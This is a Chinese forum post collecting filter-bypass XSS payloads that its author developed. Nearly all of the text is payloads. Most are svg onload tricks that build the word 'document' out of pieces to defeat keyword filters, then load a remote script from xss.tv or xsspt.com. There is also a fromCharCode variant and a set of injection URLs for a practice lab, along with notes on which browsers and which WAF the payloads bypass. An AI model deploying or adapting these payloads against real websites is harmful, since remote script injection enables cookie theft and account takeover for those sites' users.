XSSpayload交流以及研究

Track-聂风   ·   发表于 2018-05-28 10:49:24   ·   漏洞文章
这里的连接字符,我研究出来一些payload,能够script,document等危险字符过滤的情况下,不需要在任何编码的情况下,去构造一个payload

当document被过滤的情况下,又不能用编码
+被过滤,又不能编码
<svg/onload="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">



<svg/onload="[1].find(function(){with(`docom%27|e|%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom%27%2Be%2B%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">

        <svg/onload="[1].find(function(){with(`docom'+e+'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">

        <svg/onload="[1].find(function(){with(`docom'-e-'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'*e*'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">


        <svg/onload="[1].find(function(){with(`docom'/e/'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'%e%'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'^e^'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'>e>'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">

<svg/onload="[1].find(function(){with(`docom'<e<'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})">

  <script type="text/javascript">
    var a = ''>=alert``<='';
     var a = ''+alert``+'';
</script>

<keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">支持火狐 360, 谷歌失败,过主机卫士



就是下面这些连接符号

输出在script内字符串位置的情况
如果允许闭合字符串,直接闭合并写入javascript即可,如: 
http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|'http://t.mhz.pw/game/xss/scriptstr.php?xss=%27%2Balert(1)%2B%27http://t.mhz.pw/game/xss/scriptstr.php?xss='+alert(1)+'http://t.mhz.pw/game/xss/scriptstr.php?xss='-alert(1)-'http://t.mhz.pw/game/xss/scriptstr.php?xss='*alert(1)*'http://t.mhz.pw/game/xss/scriptstr.php?xss='/alert(1)/'http://t.mhz.pw/game/xss/scriptstr.php?xss='%alert(1)%'http://t.mhz.pw/game/xss/scriptstr.php?xss='^alert(1)^'http://t.mhz.pw/game/xss/scriptstr.php?xss='>alert(1)>'http://t.mhz.pw/game/xss/scriptstr.php?xss='<alert(1)<'http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)>='http://t.mhz.pw/game/xss/scriptstr.php?xss='<=alert(1)<='http://t.mhz.pw/game/xss/scriptstr.php?xss='==alert(1)=='http://t.mhz.pw/game/xss/scriptstr.php?xss='===alert(1)==='http://t.mhz.pw/game/xss/scriptstr.php?xss='!=alert(1)!='http://t.mhz.pw/game/xss/scriptstr.php?xss='!==alert(1)!=='http://t.mhz.pw/game/xss/scriptstr.php?xss='%26alert(1)%26'http://t.mhz.pw/game/xss/scriptstr.php?xss='&alert(1)&'http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|'http://t.mhz.pw/game/xss/scriptstr.php?xss='||alert(1)||'http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)<='        <svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})">



<svg/onload=[1].find(function(){with(/do/.source+/cument/.source)body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

<svg/onload=[1].find(function(){with(/docomen/.source+/t/.source);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>


<svg/onload=[1].find(function(){with(`/docomen/.source+/t/.source`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>


<svg/onload=[1].find(function(){with(`/docomen/.1+/t/.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

/字符/.1+/字符/.1字符加上字符//.1 + //.1  这些只是连接字符的方式而已 ,总结起来就是 document而已<svg/onload=[1].find(function(){with(`\docomen\.1+\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/ 换成 \ 也可以


<svg/onload=[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
不要加号也可以


<svg/onload=[1].find(function(){with(`=docomen=.1+=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成=号也可以

<svg/onload=[1].find(function(){with(`=docomen=.1=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
不要加号也可以


<svg/onload=[1].find(function(){with(`^docomen^.1+^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成^号也可以

<svg/onload=[1].find(function(){with(`^docomen^.1^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>



<svg/onload=[1].find(function(){with(`|docomen|.1+|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成|号也可以

<svg/onload=[1].find(function(){with(`|docomen|.1|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>



<svg/onload=[1].find(function(){with(`&docomen&.1+&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成&号也可以
<svg/onload=[1].find(function(){with(`&docomen&.1&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>


<svg/onload=[1].find(function(){with(`%26docomen%26.1+$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
/换成%26也行


<svg/onload=[1].find(function(){with(`%26docomen%26.1$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
不要引号也行

Body加上括号也行
<svg/onload=[1].find(function(){with(`docomen`);(body.appendChild(createElement('script'))).src='http://xss.tv/XA'})>


<body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,102,98,105,115,98,46,99,111,109,47,48,71,73,103,62,60,47,115,99,114,105,112,116,62))> 



<svg/onload=[1].find(function(){with('docu'==='ment');body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

以上都是自己研究出来了,各位也可以根据这些研究出各种各样的payload,欢迎各位和我一起交流XSS

根据Mannix 发布的文章
https://www.secquan.org/Discuss/518

这里的连接字符,我研究出来一些payload,能够script,document等危险字符过滤的情况下,不需要在任何编码的情况下,去构造一个payload


打赏我,让我更有动力~

0 条回复   |  直到 2018-5-28 | 1275 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.